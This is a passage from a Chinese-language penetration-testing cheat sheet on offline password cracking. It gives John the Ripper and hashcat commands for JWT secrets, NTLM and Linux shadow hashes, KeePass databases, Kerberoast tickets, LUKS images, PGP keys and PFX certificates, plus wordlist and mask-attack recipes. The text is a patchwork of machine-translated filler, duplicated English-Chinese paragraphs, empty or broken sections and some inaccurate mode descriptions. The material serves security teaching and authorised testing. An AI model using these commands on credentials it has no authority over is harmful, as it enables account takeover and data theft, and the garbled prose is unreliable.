python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### NTLM破解
NTLM(NT LAN Manager)是一种用于Windows操作系统的身份验证协议。它使用哈希函数对用户的密码进行加密,并将其存储在本地系统中。NTLM破解是一种攻击技术,旨在通过尝试所有可能的密码组合来破解NTLM哈希。
#### 基本原理
NTLM破解的基本原理是使用暴力破解方法,即通过尝试所有可能的密码组合来找到正确的密码。攻击者可以使用各种工具和脚本来自动化这个过程。
#### 工具和资源
以下是一些常用的NTLM破解工具和资源:
- **John the Ripper**:一款流行的密码破解工具,支持NTLM哈希破解。
- **Hashcat**:一款高性能的密码破解工具,支持多种哈希算法,包括NTLM。
- **CrackStation**:一个在线密码破解服务,提供了一个庞大的密码哈希数据库,可用于破解NTLM哈希。
- **RockYou**:一个包含数百万常用密码的字典文件,可用于暴力破解NTLM哈希。
#### 防御措施
为了防止NTLM破解攻击,以下是一些推荐的防御措施:
- **使用强密码**:选择足够复杂和随机的密码,以增加破解的难度。
- **禁用NTLM哈希存储**:禁用系统中的NTLM哈希存储,使用更安全的身份验证方法,如Kerberos。
- **使用多因素身份验证**:使用多种身份验证因素,如密码和硬件令牌,以增加安全性。
- **监控登录活动**:定期监控登录活动,及时检测异常登录尝试。
NTLM破解是一种常见的攻击技术,了解其原理和防御措施对于保护系统的安全至关重要。
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
Keepass是一种密码管理工具,它可以帮助您创建和存储强密码,并将其加密保存在一个安全的数据库中。它使用一个主密码来保护您的密码数据库,只有在输入正确的主密码后,才能访问和查看存储的密码。
尽管Keepass是一个安全的工具,但它仍然可能受到暴力破解攻击的威胁。暴力破解是一种攻击方法,通过尝试所有可能的密码组合来破解密码。攻击者可以使用自动化工具来加速这个过程,并尝试大量的密码组合。
为了保护您的Keepass数据库免受暴力破解攻击,有几种方法可以采取:
1. **使用强密码**:选择一个足够复杂和难以猜测的主密码,以增加破解的难度。
2. **增加密码复杂性**:使用包含大写字母、小写字母、数字和特殊字符的复杂密码,以增加破解的难度。
3. **增加密码长度**:使用更长的密码,因为更长的密码通常更难破解。
4. **启用数据库锁定**:在一定数量的失败尝试后,启用数据库锁定功能,以防止攻击者继续尝试破解密码。
5. **使用双因素身份验证**:将双因素身份验证与Keepass结合使用,以增加额外的安全层级。
请记住,暴力破解攻击是一种耗时且资源密集的过程,攻击者需要尝试大量的密码组合才能成功。通过采取上述措施,您可以大大增加破解密码的难度,提高您的Keepass数据库的安全性。
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
Keberoasting是一种攻击技术,用于获取Active Directory(AD)环境中的弱密码。该技术利用了AD中的服务账户,这些账户使用了弱密码,并且允许Kerberos身份验证。Keberoasting的攻击过程包括以下步骤:
1. 首先,攻击者通过枚举AD环境中的服务账户来识别目标。这些服务账户通常用于运行各种服务和应用程序。
2. 接下来,攻击者使用Kerberoasting工具来请求目标服务账户的服务票据(Service Ticket)。这些服务票据包含了服务账户的加密凭证。
3. 攻击者将获取到的服务票据保存下来,并使用离线破解工具对其进行破解。这样就可以获取到服务账户的明文密码。
Keberoasting攻击的成功取决于目标环境中存在弱密码的服务账户。因此,为了防止Keberoasting攻击,建议采取以下措施:
- 强制要求服务账户使用强密码策略,并定期更换密码。
- 监控和审计AD环境中的服务账户,及时发现并修复弱密码。
- 使用安全工具来检测和阻止Keberoasting攻击,例如使用密码审计工具来检查弱密码。
通过了解Keberoasting攻击技术,您可以更好地保护AD环境中的服务账户,并提高整体安全性。
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### LUKS 图像
#### 方法 1
安装:[https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### 方法2
Brute force is a common method used in hacking to gain unauthorized access to a system or account. It involves systematically trying all possible combinations of passwords until the correct one is found.
Brute force attacks can be time-consuming and resource-intensive, especially if the password is long and complex. However, they can be effective against weak passwords or poorly implemented security measures.
There are several tools available for conducting brute force attacks, such as Hydra and Medusa. These tools automate the process by attempting multiple login attempts in a short period of time.
To protect against brute force attacks, it is important to use strong, unique passwords and implement account lockout policies. Additionally, rate limiting and CAPTCHA can be used to prevent automated login attempts.
It is worth noting that brute force attacks are illegal and unethical unless conducted with proper authorization for legitimate security testing purposes. Always obtain permission before attempting any form of hacking or penetration testing.
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
另一个Luks BF教程:[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
#John hash format
:$mysqlna$*
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### PGP/GPG私钥
Brute forcing a PGP/GPG private key involves systematically trying all possible combinations of characters until the correct key is found. This method is time-consuming and resource-intensive, but it can be effective if the key is weak or poorly chosen.
To perform a brute force attack on a PGP/GPG private key, you can use specialized software or scripts that automate the process. These tools generate and test different combinations of characters, starting from the simplest and most common ones, such as dictionary words or common passwords, and gradually moving towards more complex combinations.
It is important to note that the success of a brute force attack depends on several factors, including the length and complexity of the key, the computing power available, and the time and resources allocated to the attack. Strong and well-chosen keys with sufficient length can significantly increase the time and effort required to crack them.
To protect against brute force attacks on PGP/GPG private keys, it is recommended to use strong and unique passphrases that are not easily guessable. Additionally, regularly updating and changing the passphrase can further enhance the security of the private key.
Remember that brute forcing someone else's private key without their consent is illegal and unethical. Brute force attacks should only be performed on systems and assets that you have explicit permission to test or assess for security vulnerabilities.
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Cisco
### DPAPI主密钥
使用[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)然后运行john
### Open Office密码保护的列
如果你有一个xlsx文件,其中有一列被密码保护,你可以取消保护:
* **将其上传到Google Drive**,密码将自动删除
* **手动删除**它:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like:
# Remove that line and rezip the file
zip -r file.xls .
```
### PFX证书
PFX certificates, also known as PKCS#12 certificates, are a type of digital certificate that is used for secure communication and authentication. PFX certificates are commonly used in various applications, such as web servers, email clients, and VPNs.
PFX certificates are stored in a single file that contains both the public key and the corresponding private key. This file is typically password-protected to ensure the security of the private key.
To use a PFX certificate, you need to import it into the application or system that requires it. This can usually be done through the application's settings or configuration options.
Brute-forcing a PFX certificate involves attempting to guess the password used to protect the private key. This is typically done by trying a large number of possible passwords until the correct one is found.
There are various tools and techniques available for brute-forcing PFX certificates, including using wordlists, dictionary attacks, and custom scripts. It is important to note that brute-forcing a PFX certificate is a time-consuming process and may not always be successful.
It is also worth mentioning that brute-forcing a PFX certificate without proper authorization is illegal and unethical. It should only be done as part of a legitimate penetration testing or security assessment, with the proper permissions and legal agreements in place.
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 工具
**哈希示例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### 哈希标识符
```bash
hash-identifier
>
```
### 字典列表
* **Rockyou**
* [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists)
* [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists)
* [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords)
### **字典生成工具**
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:**高级键盘漫游生成器,可配置基本字符、键盘映射和路径。
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
### John变异
阅读 _**/etc/john/john.conf**_ 并进行配置
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
#### Hashcat攻击
* **字典攻击** (`-a 0`) 使用规则
**Hashcat**已经带有一个包含规则的**文件夹**,但你可以在[**这里找到其他有趣的规则**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **字典组合**攻击
可以使用hashcat将两个字典组合成一个。\
如果列表1包含单词**"hello"**,而第二个列表包含两行单词**"world"**和**"earth"**。将生成单词`helloworld`和`helloearth`。
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **掩码攻击** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* 字典 + 掩码 (`-a 6`) / 掩码 + 字典 (`-a 7`) 攻击
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcat模式
Hashcat是一款强大的密码破解工具,支持多种破解模式。以下是一些常用的Hashcat模式:
- **Straight**: 直接破解模式,适用于已知密码哈希值的情况。
- **Combination**: 组合破解模式,适用于已知密码部分字符的情况。
- **Brute-force**: 暴力破解模式,适用于未知密码的情况。
- **Hybrid**: 混合破解模式,结合了字典和暴力破解,适用于复杂密码的情况。
- **Mask**: 掩码破解模式,通过指定密码的部分字符和字符集合来破解密码。
- **Rule-based**: 基于规则的破解模式,通过应用密码变换规则来破解密码。
使用Hashcat时,选择适合的破解模式可以提高破解效率。根据不同的情况,选择合适的模式进行密码破解。
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
# 破解Linux哈希 - /etc/shadow文件
## 简介
在Linux系统中,用户的密码哈希值存储在`/etc/shadow`文件中。这个文件对于黑客来说是一个有价值的目标,因为它包含了用户账户的敏感信息。通过破解这些哈希值,黑客可以获取用户的密码,从而进一步入侵系统。
## 暴力破解
暴力破解是一种常见的破解哈希值的方法。它基于尝试所有可能的密码组合,直到找到与目标哈希值匹配的密码。以下是暴力破解Linux哈希的一般步骤:
1. 获取`/etc/shadow`文件:黑客需要获取目标系统的`/etc/shadow`文件,这可以通过各种方式实现,如通过远程访问或利用系统漏洞。
2. 提取哈希值:黑客需要从`/etc/shadow`文件中提取目标用户的哈希值。哈希值通常以用户名和哈希算法标识符的形式存储。
3. 构建密码字典:黑客需要创建一个密码字典,其中包含可能的密码组合。这可以是常见密码、字典攻击或根据目标用户的个人信息生成的密码。
4. 应用暴力破解工具:黑客使用暴力破解工具,如John the Ripper或Hashcat,将密码字典中的每个密码与目标哈希值进行比较。如果找到匹配的密码,黑客就成功破解了哈希值。
5. 破解成功:一旦黑客找到与目标哈希值匹配的密码,他们就可以使用该密码来登录目标用户的账户,从而获取进一步的权限。
## 防御措施
为了防止哈希值被暴力破解,系统管理员可以采取以下措施:
- 使用强密码策略:强制用户使用复杂的密码,包括大写字母、小写字母、数字和特殊字符。
- 使用盐值:在存储密码哈希值时,使用随机生成的盐值来增加密码的复杂性。
- 使用适当的哈希算法:选择安全性较高的哈希算法,如SHA-512,而不是较弱的算法。
- 限制访问权限:确保只有授权用户可以访问`/etc/shadow`文件,以防止黑客获取哈希值。
- 定期更改密码:强制用户定期更改密码,以减少哈希值被破解的风险。
通过采取这些防御措施,系统管理员可以提高系统的安全性,防止黑客通过暴力破解Linux哈希值入侵系统。
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
# 破解Windows哈希值
## Brute Force Attacks
## 暴力破解攻击
Brute force attacks are a common method used to crack Windows hashes. This technique involves systematically trying every possible combination of characters until the correct password is found.
暴力破解攻击是一种常用的破解Windows哈希值的方法。该技术涉及系统地尝试每个可能的字符组合,直到找到正确的密码为止。
### Dictionary Attacks
### 字典攻击
Dictionary attacks are a type of brute force attack that uses a predefined list of words or phrases, known as a dictionary, to guess the password. This method is effective when the password is a common word or phrase that can be found in the dictionary.
字典攻击是一种使用预定义的单词或短语列表(称为字典)来猜测密码的暴力破解攻击类型。当密码是一个常见的单词或短语,可以在字典中找到时,这种方法是有效的。
### Hybrid Attacks
### 混合攻击
Hybrid attacks combine elements of both brute force and dictionary attacks. These attacks use a combination of characters from a predefined set, such as uppercase letters, lowercase letters, numbers, and symbols, to generate all possible password combinations.
混合攻击结合了暴力破解和字典攻击的元素。这些攻击使用预定义集合中的字符组合,例如大写字母、小写字母、数字和符号,以生成所有可能的密码组合。
### Rainbow Tables
### 彩虹表
Rainbow tables are precomputed tables that contain a large number of password hashes and their corresponding plaintext passwords. These tables can be used to quickly look up the plaintext password for a given hash, bypassing the need for brute force or dictionary attacks.
彩虹表是预先计算的表,包含大量密码哈希及其对应的明文密码。这些表可以用于快速查找给定哈希的明文密码,避免了暴力破解或字典攻击的需要。
### Tools for Cracking Windows Hashes
### 破解Windows哈希值的工具
There are several tools available for cracking Windows hashes, including:
有几种可用于破解Windows哈希值的工具,包括:
- John the Ripper: A popular password cracking tool that supports various hash types, including Windows LM and NTLM hashes.
- John the Ripper:一款流行的密码破解工具,支持多种哈希类型,包括Windows LM和NTLM哈希。
- Hashcat: A powerful password cracking tool that supports a wide range of hash types, including Windows NTLM hashes.
- Hashcat:一款功能强大的密码破解工具,支持多种哈希类型,包括Windows NTLM哈希。
- Cain and Abel: A versatile tool that can be used for password cracking, network scanning, and other security-related tasks.
- Cain and Abel:一款多功能工具,可用于密码破解、网络扫描和其他与安全相关的任务。
These tools can be used to automate the process of cracking Windows hashes and make it more efficient.
这些工具可以用于自动化破解Windows哈希值的过程,使其更加高效。
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
# Brute Force
Brute force is a common method used to crack application hashes. It involves systematically trying every possible combination of characters until the correct password is found.
## Dictionary Attack
A dictionary attack is a type of brute force attack that uses a pre-defined list of commonly used passwords, known as a dictionary, to crack hashes. This method is effective against weak passwords that are easily guessable.
## Hybrid Attack
A hybrid attack combines elements of both brute force and dictionary attacks. It involves trying all possible combinations of characters, including variations of dictionary words, to crack hashes. This method is effective against stronger passwords that are not easily guessable.
## Rainbow Tables
Rainbow tables are precomputed tables of hash values and their corresponding plaintext passwords. They can be used to quickly look up the plaintext password for a given hash, bypassing the need for brute force or dictionary attacks. However, rainbow tables can be large and require significant storage space.
## Password Cracking Tools
There are several password cracking tools available that automate the process of brute forcing application hashes. These tools often support multiple attack methods, including brute force, dictionary, and hybrid attacks. Some popular password cracking tools include John the Ripper, Hashcat, and Hydra.
## Best Practices for Password Security
To protect against brute force attacks, it is important to use strong, unique passwords that are not easily guessable. Additionally, implementing measures such as account lockouts and rate limiting can help prevent brute force attacks. Regularly updating passwords and using multi-factor authentication are also recommended for enhanced security.
## Conclusion
Brute force attacks can be a powerful method for cracking application hashes, but they require time and computational resources. By using strong passwords and implementing security measures, you can significantly reduce the risk of falling victim to brute force attacks.
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}